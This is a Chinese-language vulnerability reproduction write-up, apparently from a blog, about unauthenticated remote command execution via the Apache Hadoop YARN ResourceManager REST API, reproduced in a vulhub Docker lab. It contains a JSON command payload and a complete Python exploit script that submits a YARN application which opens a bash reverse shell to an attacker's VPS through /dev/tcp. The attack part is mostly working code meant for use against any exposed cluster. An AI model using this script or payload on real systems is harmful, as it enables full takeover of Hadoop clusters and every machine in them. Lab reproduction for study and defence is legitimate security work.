Hadoop 漏洞复现

一、漏洞描述

Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

漏洞产生原因

负责对资源进行同一管理调度的 ReasourceManager 组件的UI管理界面开放在 8080/8088 端口,攻击者无需认证即可通过REST API 部署任务来执行任意命令,最终可完全控制集群中所有的机器

二、环境搭建

cd vulhub/hadoop/unauthorized-yarn

启动环境

docker-compose up -d

Hadoop 漏洞复现_第1张图片
访问 8088 端口
Hadoop 漏洞复现_第2张图片

三、漏洞复现

首先访问(POST请求) /ws/v1/cluster/apps/new-application 获取 application-id
Hadoop 漏洞复现_第3张图片
获取到 application-id 之后,我们访问 /ws/v1/cluster/apps 页面,并且构造 Payload

{"application-id": "application_1659336607746_0001", "application-name": "getshell", "am-container-spec": {"commands": {"command": "ping -c 3 test.clw7xm.dnslog.cn"}}, "application-type": "YARN"}

修改 application-id 的值和你要执行的命令 command
Hadoop 漏洞复现_第4张图片
漏洞利用成功
Hadoop 漏洞复现_第5张图片

四、Exp脚本

# coding:utf-8

import requests

def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成!")


if __name__ == '__main__':
    url = input("url:")
    vps_ip = input("vps:")
    port = input("port:")
    shell(url,vps_ip,port)

vps 上监听一个端口
Hadoop 漏洞复现_第6张图片
使用脚本反弹 shell
Hadoop 漏洞复现_第7张图片
利用成功,成功反弹 Shell
Hadoop 漏洞复现_第8张图片

Hadoop 漏洞复现_第9张图片

你可能感兴趣的:(漏洞复现,安全,web安全)